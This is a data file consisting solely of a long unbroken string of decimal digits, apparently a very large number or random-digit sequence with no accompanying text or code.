912493772015614544726700809668957672980248677392402056783073987430837189981918878125244564856359026482615590820925392302834967180105359535226429356608003860276625594916039994336970293159190626052813693241438740181714979160481706693013470900976384414803184517529485372406636537897677097027176435220888071870279555572751269094220385815093237484747933354698665103801140663947679873467457929065895239241118050849931177405152081542507519260266261418794907032397477259783744404669783935661803180206968896249392854514335314025309773006643359990304703798054742801452493030072789293443119427432103529154510797906478346618207665661604057388857391535309951974562360449255903533165316731490346213612149157068846109594397107661130748039995758793382446962153962956199159449736777812326496573250158853201067047432484752833133273478061419438976202583056362273361733550829906309874389048872866581147862319783963940447822367197318789630639013155842052527675466333621643950160494725914906390559711295953169819488344860120283318383822308253838646529345192441040893757922276418143293106834560022228859161950953083749126306695471224399414138873743053922326441950113018014351507826177016318036901034711375887565182391172530927058510484690920945066048993487076607554183998543711675019482513940712732299433363713113368768368684484222088757624533232001121262284179565729525124986215493141228555561586706724116244598944967412327700544625305763511396775564382972926574984714051021883711933202718830883430782248218600469657425671339095747195405112689600575665397519632294764634676176293503991087609333255612359587318522419176499435226135921372902899768173940437018373926885337879806275394700575703581323279050543929397805277863049648301021589929800713129836941309944489370603122728291550095148122307892758290670730852588054082102458037156729067753584700340151960098147900489374838486788442971160930263152489829385302035189551161024924645925130653439016769411235101589893376519087753193488331287293662620452416513851257758375555392826341208658894803727259361139601509849070272431173588550336696796481862910688440257916203924618343205630625125872237371039094627363295768021268769085712430794387886680973778303913374127168808264645168639685375754276241039768762993314014219865059652709688788517313217335089041991169511119870500666041585731152636584013692536889981915369070914347725897639320366293452496319625605164269854566555117130868717922070777367960859096621910733718193271212329822658232931530968265334875229416303463233773619714118138527001721077583251368243534556665249298177529077180050018270994218515953757277858384743729511373946591032243362621690161443737136913501142451974172672279112881202418718771793357692670095943449189262987996124675629332436458070258830336339489895923149047923167095053609033265330646162755877616182674257176671451180700957780356517552924062174846545382922356752256483476681275172878155304101055082370836300039935739863560115880161802989024325282215993019904856767250031325724128926700405469773004731793471668140005171711894981457050133556185253337258755546062316574126444068797098058685099785004874230640742986999308995922735133363502733896014130153040006647499270830987622499421394429015773710343278222737356646471000745043012919633026296641538342426926372995789347640609828948364747292928544548102333133866677161699984672290498648743098993451411235757134843191102920915068363799160267517783724343274987935405876592890000943641281558668865385873479936514637094085462620777243401451726585339812698872578898368504105233874210695594316686492195701989423266000950187964603940636517235966449173521195898622442874573084293035776443053860759157800388552057393188496100666286942948913858749924662464297763376372968037337729114056294003176380939874842006479106131410285280845724016198636975876788578540826710042378311223612856186762092117155524535746408084560768498579543565618453019339792564571952515065682406107259844692746944640829423369721219959823926146976157002606068977072614885858494270796580910845938512440387043015348826816158010964075240778630442836126365014220446529056226134382751490955934455437704114035622026905311817615620188554182524609388737825420687492924798799371975851433673528303809477149101930835450542538945370285994339300482475027818755121934639786621536497595756363779987218649993550466436109736196799803647773005316171016047093926836766787303315628864811713009830874947238913040578752345498728281399744244493673772555300462221346685283241456470920947161093620108202566309026370662907777179760788408386579394592753677072710915172755098213792775739304765163823344920856287457064236938418958834923060170061594177992388199165643180206276822007204123299055030721892137327083616894989683650042906790117277819540301124561680751744594889045551934214916518930748551852980207188521062576930659940661635255674419204995160137420662078836868380384936736363370951187315122552521814898175596990232984190459847622946699512744573586080166915420329419269267333940178361190657597598748661233682831961577365641859974669889810166659047178197487503614454475150693281388870625296770093719184935001685831205224961202791107140320684484965989259354872374201981383438847630151046801939400494403430910783141216641318586752578137091061735702334642012611631735646332460439194376997296470235318459213503649205435705583404305453162101713428024417292700836590165560532489063393546248251747719489750705429071182732872924165643872081963289490661035423099296338344665820642736060079250803877505072881336557648443530274101933237721591176686367798249439745906870528569925710228095683559758984238201341930638876635246515631859645080801880349028379189404087341668033218089147371604790458993986686757935548315750332432190486806411293154898744029001656615014493123278812159214107312978311149849382912071088210582646251313336180933231528607130321122188524303908319185962987899149394373069703296266812096863978495356147339824195467349639721806116057965021649478037797906212536625951638978830214969517841529915741273513481754610226729357503249938248372842444080248423189948190376874892274685388338971640470920985125672351176198875814686946936293469648773532463051271291760057212845112333680047613280105765723876846331996783162768755871827243875969275333179013962839467678858038285272661724484246287698162952166846597138931888567981951019080190574701466546212298544625990911766376030751189752634533214726642707459017047488874701914785904848661024634199272314234447989605418401288961540487995867720854928732580220790322088951973549058926591267013559131074356740190281661351721919710626567370824274282440369960154464703188205789539414329149557464238896197390107067163118250891298643728946069239118904218605276939450798319339702564643724875534903649483780279342901795548923710564667066783540063307746600413675873423667684893258268091801188318159534564234498267695581437780677234969494880478269599971154960795259178947114322681655491414591679540979117849199557457865693068457078503074296567763026081560635652747063502362424883316696077981826486508121526123879059527862794170193385348289179759570306629165674302644077384956717882919113516498546367387132758445235401491710556961895281320016369968165781254810066925276536786563113020439815038062467170325480406893534591525995167022092735540509542553603310586363538445978799522117868462555548581074191631106209380898321664895065551274574696953912942674320564858341233793667312435033582567959735408265266110357931673322144754198465321757720830469995053934101627434662137296131332200995416515241535552972098120521719284885696547724477949744339368182633795725871771710134496440984442465989850967473533756701738749923742930673454508159059196996175691390951023367273177383881524220665625610950169766241308691894148491688057163548738853039191243877317576375548796857893081696324871123852666188657804582626238340335588272086671925744386842601763534802009310251277381316077850036355049573810969695170784228252400536026588747259409543344828348214231861436680188595983070392348755816904489650472957313071754940554781217828450311873888760652402161750544066119934109554849673089630049840911423458910667488947193499772384476732234231854272411244769131014339810800497134439632614515664674174503314190283678966834582111126845925786922445133916637492561812945942694533961271258625208430813104046062836198824219454717974087408430954806331166560123871729158164154255773507542866414249327153999108021029554081226744193650819534709890969688480812224109961967832477813572025894311192413467320082470590740221550722113429977445027166448577442999733278126651024007199296888338198799100005058539870000276573258041031356926322926335247423821314407953401197102813021942936466923262744276037831377533366699388163951444483319182028056962173257061863173813005584409016040799904652606372250715273112893781675923119686046752648218981535709347803610943952315598434601000238910472230686964951106449619468866947404245350867679932911794013478489237886886887275813863394354915525841554270665635966709277407459574466827030758548119091167608481477653338809482976103366244313220903393179838638100832071821277291876742642692541424549276508449951090691589444777637458686732348516494174026912079903639663156171137825336331749588328788451373109122042757109965679433403866529118616495014856149536671623025203598847080978170027871687663059422221573997178009735553446974232220544850248108942290498672647622020212723412901385450215654839752269951941717828163800433102389233040967979956297485230292383744011350775951263517103152657530208953363400139997089602194439924322079358642258549470475036799570154149111333010528850713303401905119835522594916946800115725888400251078385967088435171160649041649131993568458111609404510218573247386700039759627026402995578018623725339888943243414807024454339447425833119720645226727686084745560593765390215031981853394244531538312504308260677808582925288619181742322192135802733558975241157789629991939260702702435262257615476215701266649268409581500638593328825215927141590545909989890381404970143586284183809271776151236738074532882810223114598159968428054269437620767546995508438457663021481003528707394813673991397046395113608293281251968805205403124520742636715737506883158936365352808006952929937982215826099727488733132816631132029424433287991666626553860930893168258590094698951131138440402477682235419003311124574604128678694335412101867065386739087891772808951538166983046693303837633315101808073851673463838937029295521910470079539690086177265111567819849346041493960609087069047730654187783150567002106075335604520086698496853457197687005047887656742927392011133808314091506262052215189100180631496564448005859996145104215979794399631006619199164151078868498231558221560392046006936311673898614989380268347945840389949971865059259153418743429742673387519428329494014827224335675437388743316253375435647153614349951646545376958189897419301861479029233839554880649355181613254068181959329210947782454558149370951263985591968240731135098586042926431925958983297005076909428417703965757766580228593888570678572376612357877106482066150036013310173155418149763837361542642027886387634182507657914612902835904174693802842524371585529131548194372439349863434267241430457268860536378511433894570371600581548923558942060096495594725185894817582610891590085196663556228558594204734266981551999832734096028276548826779553753138139361011176019865971038332233384361670604968252154134703631557123458320200607917811004718355196599003456094276675065758401494767802911334566980565520034091444290232327306860041472288631835589108064264117571072462830322481919086222617984427959206714218287763410903115327460075001898800914864520094337769258333458057664516807446061107429549635413178417890737862808947105256664393973662686408232209392044430054333679150344450002693766950640880197131452509452202513866903362065263394958443044183893329098865557385110709641404456200654074087422710162874172139908580475943712550579166956788344363827033749423472569237103978716482146673085447928590946324178988133730107793518134601261527653117730049832657669727362924765081628073740303362581704155599277839101661714361295209097364315702036599490434429446354175831297992174823586115118225101749499628157637897303724185133222947019515826399310509244865668251631737760683559463168717778930383656345480477837354018495150332554649304925199725312731089320933051919153876286633560307273406197682181023481208281388877673254522211172313935832821866612206380274193406093781768086030460247208597690985902471912253793322461873877738374549452384786120907855136773068313409107030048644671257830937827136537444757397782675540404131540819873977778725387075001153476318423544564465949978846457396254871152270454022828361268751458928831449446941335624559734422147437045243481083595352626177403511213853355523022787521132047160205197717886413806954915902586799103377227533182665952557322024126320944193264274580896166056568515206004778322816492506026862652832673610919261686014474427670367896127483004384873615901304034113561841397994545557618148288156695743745437744230260262153314289983549960234576599151664161281028697025035415663411231451728896437554912787206435331795363590977418423360070509323603034916742118788200182439585788838265890145915997298117215313537682325724251582129609885752071028735168660411957322296403564706113741339650554080191916042601515761984609264993445057583907032367187635707076489648220442805291090707023335314467140592612803921632359885492845356294375253222829371585004039503837607295770486742504049398092594524633964191542612305629855150879408396082055530211375455117298003511174384026648228707227288778038981008796568738530641849858769695180999091412310046834468884732708700970256018338472372738602155267843724175300312460477847494442318599409909548343709692578358433320620383339151284200958467305327382753437450948881354438184548454269659280309991250797700701289877447775319654898652275840386425082094021556011423465976111291058194251578038673975962208238439850854925859182914406145735651955213027865010591708900034023244073369819995814140030683955213418445352765813164840383825604968940990763269205218324771410208759044938781310745827432026988019423909349545100313115158084577283772611077966248288689155722732753850335756822996802105206353259661885462859322122006426691299583447924804307194506748325934879449703947811133331202853037337005583153561752038214900905258424646104859963307780945878573832231602192927953457990716151231504957409366608387669457849421648527578067518499538068823715802307102482313294451520364910173912184318104018874068917090160599995852974649402469950564878414471497854534642257216963741839691575030701630169949205315167221478890319670631598113248913849110262475128354523704721423284011556597774679472704171421411935999833894553923544755115490485055122865293836641716511082598954417364842159839663876351763485952498003049187570796762583881435652594876457208591961720322691788278676540768774000537782145129576933881928459782937630403695938702621872570503728753578585801207674566790086553560600187800424429702603207040505307444200327918164310889764637291755483181933416176374967746619680279990542621965935390228761295818930308127019504596191902155375595297317757862508480299517797889789036210053936496454290305143161440329157069260510842430002167520629308246139095938261744535159637776958858285735297255462871386423483130992109795993599886953083825366875531195515932860548430663555349125717191528185491059690368152782754202727502803515427807255007192958758787399047618835216888361564164651518530193616012095523920913946950117723369914751797448247828658272158038120764397844525067799881792575277193270237467527706626971651375899945558288445075728752947098931389889977349524514857231021777576492925628167124236256923302334020699360508864296282445511017938382328758683087305257330294482314299454925095127665012951651841108954564652568248428937529197375064203457565230946385579343621609116999918245793436125047687301633742095281886472022960839005206698065106741478219393111986781074784968181566799177370045574193321957004606501854275483186209564679904071318160322655349627819531441198988377812137160023038691513345382650654824890920643314574164634457939427889991085007618643208518803006154785479314134707067785954365737937065832198623268231918960481074971169102208097645379451899749771670901187835301851614837863540456094048659964134134258565142142723832455725612126115835639407283055851993008913331128989188085349196689684344778480393782693724111181406377356118574354965220195060486033043770657762655380655840077673741608403918668749024461704732275385298764842782768180536661394594079379726743784694080545695507242383815520648709369460605863875278541802541438788712427580455720867533346895527177871417029252659811064793639316920945029687586698463014702571379108143368649277363384069586767959831813946432028885888316463024271856197770677843438607870249906286261481907048597737396810152127440822706068206788167070391064348345390050354635456407032687524768396841395988593142815709079550544041064385133982143906408831358226013050795495155028542691311855072489294441773303152008055306696228484953987411033711721306923555410361271671763552237633645505057702287302128980942655107247587175048214314922436230465556663091293662963293812195325767194470746846929257274222854427648654634216782926654951283729741889192478273711281106564810329245786996874508695571412575363704543352227533502089071844789304404351318593020611120670239382908449513584381994941806074000585919686443002233119292364526410056160631810136515054099507031110872339712864784897913798847629058459364962170864270967021954383428460326332452137265266800186630692588379171168800655747272013047954391931629146817833426328768551784538882411515098040860687273262326279447693194191631949523261357280597026074668854387590454141745711633595730692634840676648359184503876579368475766991247718190183413773329487587033480307658959532356336173889933426964249007534466151570758761197128249615114528986205922039043665947041478136404294639790460718411096840029130623450373893525875241856611066502045844587619571095307391519884289792949106773218415912169703299437639817263483959702969579648075102534637207666899800284592181667791701457739111365742762177191816305261653903271579287877837603206612130581251644194904102906512481961612730702282982025591283503338287161063365898758073831551933565637209360863217711116369523739495513222024530310826091924382417023110911840252333945610489935085585977244434338838700568759664050572596395613140518587373663230665814237366171919708899669491865031234042087678868274457002941394511305611037214437800760239436223339787361788305501517348674980647704241889672543330708703838744680377234659294271577426238775294101009882885795276368589300217436568547059213202120022030940056861857009623555119358131918549110580475308619664139100342176935797642282587631551982047843099095297245911208518099515991300533659577663268621849822332695976858191955597133302478489572922247642678804018507013813075964343654046348864701493770491665414128307845433234562537297325487971613909648023200195744133559802579936630026828873207186617905161761741984177052314872941724575150502310270390486249491303277532055598936850616575312255193413657252076846009777224560208688426099499165833094873814649321273383214805829630710323712388584030204189214504045869158184395778402021558511823155738273194117635280850102606388484911675787377701150460498165811390681031499394746171436870105454091220411260272268256530715063209114260043616100314857766460517191000331297351197131595743302275177122323903906671372099615810560880251299841943367837594850923119817792819125704148134305641542631818602516950750177415662790589370787922465608266037322735169312596168456349267504167826083132233213582220732255677207815761762159664324257650062967309753329701509173482971971541027005362290636061108900584907046014854293486051695810453397667689405211007344214599862227874275349058760802692964587472082999439796102534516074677839424220678503599635706957102043764451786106859894431826892909742813056082681984219071735692857087597846427606968106689629035886968058453436394317876435860813833287681457599452515257376873122516906094510168182974320480392455022008653830417647791334816899529467143914988248087418069805035431387439070053997794963509485998172977276513998439627713742618713233017928105343378395014140995571526326851409826997221569493760940711724750011969272603538443606420487675633392020621621646389462196150367615052078292818806434028592187552161336311800034037633902608099963384589064905749138159933720553711902300952881219495215705555620562744481909190567538689751571437664634928271763685987758099564624854060823253261131450101022285035181845691710749398773571820089452633583538157113172685724897595089965726998363739434969843553567648077335855413208491239139435605814768140422290447393616171311210388274449262629311711326857485513899864070899137296697134811118427935848255412892835628374906949349852263448424151451808531149276941402312027293480725181643253427508444001858781603269138896952666208381419118504529802632749326442957266550615993979777727503756716944909383163680375760507039855451492946639387626500839772068834706167074308637252144272100482467932195760301004448524946772597500262521796255266488245242503811839186768391652502849420889881615693695127681975614927237130073214807971148488660650373863231405825139464698176112036164751325633967485771517357071684318012987916577274569082565681490552778557523893996659348444409933105378953716026754865815570432232148982162723612449486308560240712934161113429660139582169723366803071834070759500430709228999547497744115813214295173298738386194706714444251301188690636611976226668956730679063355313742657607189358838369205686648163103013014827234108075372986131276351998794327161988479854603533928275550332140187271231663069950635638643620823815928322884606320245616276255613809947010175886717584727144498476807423537395916053537806628250229545294480287633944308771934898175615033732138709041881902461066482258989755716630738620354450765533695869744195639197345742250546073621023774978792594903928226921614606692369785335453967257296517254347742279645568348305977921936386654305277571974826911034207612219116262959070648830868325920023942146222252679488812498286848930935517566809315420642376867939607188514942518928539534854737542146295790914151641629529286654211601006616201661654345247288603910667055829158172632347013191905725957425837736413396735791604357457893644630748052272738333813836695414917544973436162642064902000806386793531426195886043287352598315231318770965052329225634442994799681876620522782819649544815907593667483117272067898179794097046725568759565827703960783287511691960077037253015704959241036092768994706796987803515594298870349964045716353305365876812415949164354113593435244742349993527633306662031652624612712554662038072573632186195677363798089073959466846494901160162162461945729386676937228402640575088628458926590432710647603943258268507870719520085345415191025646660031403734290049329632978306828568884175498374283348743380869464483415740403862343997956905262758012895835517779034250132326773953019822624244705109774004377901778322633919021335190824035908273264778845977450365769332183347266187193845755227060337527708589041971299954555667514902429112837960249883722588026547703222406659717546195111156023325575087208715932356630959186507890693074094666007129312286762004951921104654815474802206049203611117357347237959417509567604433721104057702500097082392646024774481615771394694922963777768312620531461267351513370991141803836942056106422203750030337887192160312553529256674899593228638460679140895640040110087077366983130768093869777239356038565591980580464389427714009633743879766437683329465610477180847123087334617150113825173662490979392908253733441195201382713601024622729544276777980336056033257904452257776880877221258403824359631020739956306730220423029506824816417209364857926137856001089353242855888104665157639382097227543531919347582524985088412053631803733759138966287499429376185876587120304439929491842855404307690597869701138884289016577423072566296876192652793124921615174618922808062263931014458236645322604567350134091706115508181811677574929684459315853909399131890590815574628821459979723911989465225984757239112553476771451324374258428218042213019598893828409795276761722680443808657612221433766118970025189425452163724545976170585136879303938694732652103826686781838774033198862266548713333438805586109579578292419808358667341496497397955958515584762005166797230954487389269966766644482257643178361452872253178269510676283741372169553716209167183431497028906019337033389173850300762617435482819337056639146030362849176256582155758679772315910115231185356335491188039244944592303138669683540697147911102227838962534112028741683455602765644978358534450906521106247128082697846125821369676473394854823346668295991592686558441121917548455954516600286889162170782575688054959970481050504771453701372179825444902936594898275714217438235686573002818805623760766563547411610127985551473656223301692830370797393744460978061859722368368041692191342807478065583222296378217259823337433588120877775820889530188376718717284210023072451150794086842808307895495345356944994432389505194540912512681819765566817027654925931284184744715068584079598443570090387940655870722090126388130299842815818785407372143816422879063303608844172118144127834738208863279770306359428507036149419667979293681783685679935814649638698307617886393715132230314091393434166491030273465382001776452794666596965510124077621565792714545693055432080469046113428469636294844598885559896440708094953588032759020812529332105503063500386128200250090467391387271923545563133631496757092833901451322544374262622319215202036173531818177558580620586310959176818930933815956511237123327047235665852823580684168988316022049044159688765190613522608625979610478839998249974450034434620055851655164079773847815615801570774221775978550432491166442910504980331872912420530042675587023311450887555647528870134443329576122988826715518650340229726551673872528431189059115704723321797519907346577886646732636715194426926406346451931103001737909684693307597042048335625309869394355675259573259246676057892390902299669811532399949962090239409183713043527033526398744472236051721290445140409271023690815903170044206489633856970084080263795945453810945067013447713491729240176516935673151395174011361238445021291021099746226055200854713630678682576085576296852513606195203978707584883802725038529355485040826120563543798258990140535598622787846637847019641565234986858704622504964732263933149167292458840597987396368329795868341464238818152660557057574262803011161833159837172809921323881458719595118400843375057145504049280860852994117107396160213450983774320931687888964789990557497203871499898511479986772465142384970572874372439595624431772025854662961003361989594984160911116395511394822485070057538376425088747637104463174711225630471578354296885248844788810696906564525384097085813480933999132976632371998201147485842083747154555428748882512832353234487218898855718750510894685284716961122809945620245626528042114881598352622175659984705259095657747073696951357863137865585569297998911884430761275700032154053930558416129861853956453165450679998507222965674049709220808822603475655253581211598816354147366953553490855644919842922453480645511217765836670914152834281950777410177212794228280839748014730613576210813097856495490960161010060393326727415868513957088332749934687217113915374920626639790167777942670343648933854738678181332304982602907534332834113496839193754035909482931155742256602714042307066900844863987434789921956806593292646799398502205902556284499977662649948112657379907069895303704347130845461568911712943038503061167976872121269878338565157272446332956408459620663518514783719271426535700010944803070338775807060283530236858543528393187982538633974464716444405411566947500174572232665162045165274644155930560435710956051501934709039249569457531906083866910338432178760868908598164551300992132200163969149462024226817096266599388124987031244207676285915420236162030336755411742614448758259736944793914545305925824121791747063804272683322305662395197993045797779743388828924523038933460506807961406367725596197544691286625547542454261797777538119547499070260445201092753104622942792241707139859931910977888467537529476131518842636938756904798048397799347403731943649977707743292157464890572124342256620800150388719232018189812931068089785439829132658600047776056218815935355822543607026883862354713911690308609871686073893573727132871015280916024067375633785769091466009417180408170003807936049852726019412321689417781504483511792705951053250274970393451313275040750075218603754126208591798390475283610753778438867135993240783489099547346280025353934505322114473477065558240268353098072770963608108676533352945303708632002321701718312483183358278861388139265531832285813298862791430650820835049240523801918820602946025594007509602501379135637714455467249471025349306105352713752435357862415283199676781188293965277080729282626288453121500027071745011603759800677692305797021366190631815413920978680326584868398929479180326924471024337915409608398424531742705100422779806067818547754644317352697970776357394361960858095010358662983173387493454486894740759664208008743687363240596868880663099660718833318422520120015323748282843975467881691432308538057212401113030080669120450490789037221753713383295860841648824669901394088949946294029182039839066094122474439399701696582806454747387937012109691946895989869041119536368139626182882258979548129930356567508078588299933768656760245559215852853510130336740050893565803799702103711787880671137498139476778334427515863478895740202709630538965524117941585672761593163536747211471563802033295210915887083388422268315988619109788022425580625571623188318980594378299697752260851951291113266444360193800293321703485716331436169024037550138398016024664037424660561576052997031050902963394183958905896557367352111296183595603411617610096464732734738859080163065109586928400124113443197755188119363988074692424841127982440327117287011824723557007435396104523192871960154279978136946542061259516983343664803223967733099311930022673504604570661382598770061315012230397211688719692150224655203047882230940253968224283083110523265576295323199291033913598742946829439862086205253134199610470526404797087851657497872463648082133096278975700105554028331765861272397712018466628028887309154530464369444768652406549942217095795785572557137201922531049687679913577260416470395797257399314768832996949030622387471152293922575741897949268436817425172806189823349355223271771259476975929327236167746943260889039418472588817945932597268332838251402387450058230705431192062033573395942459890698361349613455710358301903820245858898439393662254308165163153054639992170150238263765615408465609537436032636354704948180207303439871005881814223592980126822258222401758522962988217316848345946492354940735540703158824094021558213380731877721137699840414282270365894798518617085361517928163844559396105096463679055913753655235219769835983135739092369623951269339855072975749479670700578910525618310992625603065377459788118445084542710840153338540790137095245063414587632695813716992875621431904471540765408038133999373747264855978105954679364312539132368253259320686899470325783169559818224243572587210431892219487264775032475447199515761969556567683458106504454666213624359696064638850757160303336323334974492941520557605683541134664151958524491757701992722913973132742541313733917211835652916297974921542576224328343132682008928086485071208093853504626847511116466022943431327771413931572966445294912807461416359902857023185630476246715464633966673515652381546027402686061311707436260286024225343232010005356223300092710558854434204570378000452558178184734085182757848502651651710182916527665003888050227953151250834318289936253767848837128398575535368483879966827815464986450150672393302212450189671152346554133236921380813075687679674568977710030796388830447417180421854392325548216048267712825499849146245511568996216609876740533905434158291276118961267751142014918553613203361123668100759221814759761997051507469618041662192191919170559498283687091235646111919422864781709930884356236040136264526425659325393971555041175194804025106494500089831481297847618887313154200778298970711953402220394880926260436561772290425415842672017985261528110200594137311763657196982295053229540989010784108063767520835719341071186189860807620151256677678973414710610749886570147032187229873748924520545965291597914865040897748650976621463748591980431982728501804301746043429497135575311321606255294624532140031484800976891283284343978106420989286017120490293350897180904508665707594369909891760133343591942294274205226792418841195942960318448415425663659108143236582806520275487428732458872793297259876342383539608653128819761667323215977979300077660305083668244369477334052554082773729115161705906135172778373218223197234288287769233776273474429661189687816663966400841070272522009103596442683855489701826118003599113119774753287828622301779273405312405481001558888235475318649873181230485794558258695284733337533641502917597126808864514064194883961174587991191567956285765235014893926881472186369467931344895921862392082136665465459537836877842589428815369605975928758038968765230276814842725741059714969242408294167110232444623895398776772054284369852264034002087831955611944715745443187858250399807898788972674866068791845940039508117674706056146117148817668305451436721342578845686214224218167173135752387810661843294561326475054425476509411840240272493508922679182144582616364142730816204733701794844157747244553044273079686086299192997688617644162158980102580496462792212687798961317144756909464744408549605762847173251517753128398561077863372238812966450316710794435195842640884733933929907018793663105242803562763062085726132852697105677995088909376577539326831046311112923796099234708863811145876745549496177350225876364798955837871543549631178702218243708718602261236917657999981922621407581425797602704538503500575762484522860756390530996366179459801406574571677204189803320279912077063739806824589626348956023886239339517824523963439299666485358317735638892841235614295774751332545109615750044493640866154552568230571853863274878765747228148276588756844434100795261905380407097271842949205578126549976425158061494609999028315338999882538664997817348223923831287360258395639402627595548855432850761767470159579004112170016652564064041462232407240937108704483803893115729034578900666169307771725735352399274833807941087897623792945820988583649402818423995758171463527310830072157050059771720896714457542017072073834603541243042926435956937234180430802004937578549173886371588621117915985528546307158881019799117373928613196721023812450335328599881468070296800532750307462149683629248885375326534541377733612213247076235537912390944859449998004081748574636191574311844738324330425838463712204568632336447867206906128497569538977343601714326805913631338136781424312033103199362554238711663596458423636265470565362232208082252248056051380835489194349475380899235631912494290004859181335668868622783700791773690321062526251942582272903974916769636930167902678917098182158255333623523058362324554283668613389329622225443379672669553862742251432680725981982328341912769662200642233660248850610635749846960478423752778391646466572831250297558162184412299373184923266576874947640567397940151694625476986269228832941526076687907680000541166439636916163725750907944992369656934105809720161394887954737345286525252217442861840400384177634010683708780962051833761256092197123939722226956876743597305919504798983347699685899075930595759073148132949515136684640802839357002710422041266025640350517939777247090257730967085765107235979697515832866453913535385667537787173473883996403125606865361106345982785815385274963197502248979509526737450794594910618581660695260098565141959393284246203591803017358545256297672164034942811732882969292456904607964613423503272150774872766380974776998978356912872382884080396942148305327969371030583451203316504279302546068560032689236884052564100560440573530436619866347963981787303624612175126701265095743413059794992177157859003572163776994031305814011131927136523257029467810187042418210763881278879501689930890086587834030853504671257714558816852324778191053776032277692653665411958241508502285405190172230340663049670370482444524775780527952161526955256190838844376795296347955933479991013710800767928039884044511638511310966674011221173413272198588898285793117915554922720058441052504953378987208765014922188011045987242307373841175758381373091054328512864330519987912979014238017427508565777084712726045946894358554461418365349925095790783543466612879204280974030867720120449977985493911556218752413444706817664215837215213001176701932157383621062516592001170172911459588929240032853470540293412970583222312176491890762375873359531517889729485562915255957026889091235971816497961553662848622389995623708804054595802956915088448454279088862502262747972411358278931984625879739684631578166077914242260606017141476753555577427100126821988267588321350764590971014415640144077444788081162333500014542642670092751490416219313421268280027140035636917151558107315177869040452544929839613994528898452830295494556008728749413255602176048119542803020505891523620880993462406541070871433565637530377639111761272353992436790936428073892418262883360891056626054827563387950419758294193384724543990554906357935628797955901696549395756405018025576627088613650733817301075265031616983691869653271769558869200970851536331024182249850141666812398839206463171973951724771285483907783689559240985107939160789653087653793268850545438463585502705929058958686746215437811025032639174600840445012614107939980517361701459802975448380298444355050548933716738580011137938921299397383381517253211226867579487439976476815433121761046721364715607914663034583469875525092040336074059498245897046079827520464771681220065659269530671522886468813228720264796062014200755769428765106110531137797701084983933173073727445986784163969639732583616149428710165061403770890224696083739436843530501500270596268293045301676689432844223156397158018334099567572382998147141124652143289954251160688950002060118455461028115963454500105320501904871318343051426009434604473040597052447658899683619486255124124021360340110143022751229370330454805303891576879442439352933072155120886762093123398483576492962749199142722062016923790991350397238182908421410558144373806321455375142515255285067625473426921338901821719857030349494215644238491744564898154515026998636765746521049329316800480634123579686264733923754903093704251826590741715870254037306399332110160769010867286165690448008859376229551641557696059098682326048234928720161597733944155680868573809822183003591318306563605188824146587849292234460085650938788627133443997724322915606235515413281077871401013395443252124836428680971124899196972380917095672246584637078091047284389322336708164930448475117645857041602367328838594564914679140595481742542000716319537337772692127494870367666560564936145095988498891206122462984405095486338674175357996611112392784177196296034220570529427990829257043800831649575816755305523605026917527571792377802210639354433283879123617562260022586212153476768910062452619396145117477959098879301973097140089599113893975024863238565347664075625762030206624418886370363412743451644260056053117378846102984343575637931830275569045557981723601391649787667235322182827301522440194063551076487285624432215478273943538617939749808295904944482661028282387848792022184880816453583720040023725607286128985707207262629099558258469010874647875518481377529720346528246841304373905146347316526348694551285073971294504017319687718831226344661112977293675453715039597871774592012983878467398806417241010198422832545276763156612998335682629701330218002245139355056157707564100368094410111469831730671201039901615891990707852599862773457727273399641223439871111404898475853066744903415342230326005472396252747289230343154139302900055784167271179433768517863627539689039004951580966817464783800838209112585413320567729996160190752367642259673193352239387064253485695474911919435269298168856684730394454071755551426397069960303396294046501309801342556102904026098312988437316152357299844899348945102185528208321463038061493896061584268500239206932630968171762264924472164150986129598398582827912092250823624210439607017322818946834775065991484685767753807369171185599940792888702903000825515519759704009514307019430066404546001785227610170453842667100645158200814270433634225287285994929675335741897057624623299337056011786541071144610976761702588524308645891150171764976635810906056821581639365001467194524086189514521921639316291714044245249264162105496135633403913277632160882769297105710032992875505715918152456918970821325441517600918868560459496152822111938873753440999296265039033199190530674054267711954420802356936246820198170655695151044234334534473963184444170566289769571325209012434908407137060512505909628902297260483237118609372744947880028128522779285408437755246551001686012086742447113917477023576170702167442466073863426891901238558943200153676302341846910596987640816621555458821602387168688998520339129272008040775154413611689255155144654997705658512604028625047333926487210570716829557870296829958235102253241987528320509350092439966486118582455070150857034987621451635895333433468085241931604836594914401848935262514161730853002350393833323010012030355749324326546019322035065515860134204040779630929909911609354719580289058550758502762647705282543034811049835889695028101149810177388077909669730095951439988439818521473607482962343868004013938374783115355287599560876571736759123246102342891328695333922154400025112267344909186137213712555349077808430872925227436123490754817870982557103347112345162784446893615867696766098385036716213721294496427820612050816891440481001534393834956499858573348634165747633826924803580434542316863616740054160471715579813009161123248658915095934800601087845233518733526387396583468940257403794206819796376345935296278632936899872837384451448532191633935730699655387036277518493047559495727287539531165440004263466943185310810541525319165073336087655328460170280156466489977923451618761534519475103553389743215589424734170484992322616741038660233332816902531059013379118321531392045952394796784130881311699179975457173552888939943685834574488987093213101402558442683739140337363690796310152792370355547833772353856787044096718590912465089371516416325331567825971569451736826337825370926186348133030218541227618927384231744690641582700110190840569040117332573732285164838960004952414753865703633097870822343731491019320796462604118055586634398098680047909271712086730435860719682840303266106717536829011155193987025371352626424161640255197772359378173499581826219584100482647985842674814270193401785540523542557123208324837751310387242285238968761153780288776187926277375891107381039515006944246451007700965815915796812071008979747147666877904983872098570316917010254610126903590756399985180214846672139069054618688389564396857730001830745267696807882441506442496653525393710765095397164341175424627318968668285222715342352010382900095783929513876022469812896575329422629640051697793557051033884192429521666910908964285172623765797698864192187828012649310438987974927633441732764492947659246733018733606536808294167837655517838464165303728966648109613827022842590406104523789164832632697034091625687757846935833882364721958406246541215151473051958474067406192030669465903262581930101251299326993845935711351679862419397161705997450687125154374463662255713165089239526159662040656584712940063207233776385528200140281262755062098951812581937194806924620626570240142839288218457621227094745304636455383353054549358105268884880694958152861906037796894660768452060429719180139960998216430967463566748576432213606406150389562150518905185594303264677885729768467140398386564695529310808143306165565477713341123598082673017099053398847149294868674609887040298722178881583085063161869056312588800064244233275962953655667080825691829547677116948215789323943434784209896376429016772487222829630463902505764825905991326576290069475260281889942338410897507056883698477613066584385208967129589323384643248489139765607029914537791280558135924009530195469308299106929524638607068572540070801520979195903162789671570347212592200814396977753956994444178233950328633542018948247699801509462893614445394396646887284854701650346761731516602768100544577244871929712068030631467816270047169491031906659063878122744522371344739934625600660797061380589914529972814394917741614599299153115160834344687238294578509627751159595322608974245190594291540298516606647405504075325076235133224209337007106343736896624074353409802614865456328434200232529273377411469253158608293014912623086985637724664671913441249827068042906817147648502963287757229287414388332764393453119408155339202744100286398303715810570295617452679062762305205758462489800220849149005708938512848306877364947813228527489672842509873564